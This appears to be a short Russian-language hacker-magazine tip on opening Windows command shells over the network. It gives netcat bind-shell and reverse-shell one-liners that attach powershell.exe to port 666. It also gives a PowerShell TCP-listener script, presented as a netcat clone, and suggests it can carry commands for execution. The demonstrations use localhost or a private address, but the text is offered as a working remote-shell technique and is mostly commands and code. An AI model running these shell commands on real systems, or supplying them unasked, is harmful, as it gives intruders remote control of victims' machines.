Здесь нет ничего сложного,
но есть уловка, которую немногие знают. Попробуй
при вызове интерпретатора обратиться к
powershell.exe, вместо привычного cmd.exe и
посмотришь, что получится :).

Организация
BindShell:

nc -l -e powershell.exe -t -p 666
telnet localhost 666

Организация ReverseShell:
nc -l -p 666
nc -e powershell.exe localhost 666

Еще один трюк связан с широкими возможностями
PowerShell. Например, на нем можно создать клон
netcat, только в скриптовой интерпретации:

function Trace-Port([int]$port=23, [string]$IPAdress="127.0.0.1",
[switch]$Echo=$false){
$listener = new-object
System.Net.Sockets.TcpListener([System.Net.IPAddress]::Parse($IPAdress),
$port)
$listener.start()
[byte[]]$bytes = 0..255|%{0}
write-host "Waiting for a connection on port
$port..."
$client = $listener.AcceptTcpClient()
write-host "Connected from
$($client.Client.RemoteEndPoint)"
$stream = $client.GetStream()
while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0)
{
$bytes[0..($i-1)]|%{$_}
if ($Echo){$stream.Write($bytes,0,$i)}
}
$client.Close()
$listener.Stop()
write-host "Connection closed."
}

Пример запуска сценария:

PS> Trace-Port -ip 192.168.1.99 -port
333
Waiting for a connection on port 333...

Now script waiting for connection on port
333. I will connect to this port using
telnet.exe, and then write word "Test" into it:

Connected from 192.168.1.99:61829
84
101
115
116
13
10
Connection closed.

Соответственно, меняя «test»-параметр, ты
можешь добиться успешной передачи команд на
исполнение.

Оставить мнение

Check Also

Цифровой паноптикум. Настоящее и будущее тотальной слежки за пользователями

Даже если ты тщательно заботишься о защите своих данных, это не даст тебе желаемой приватн…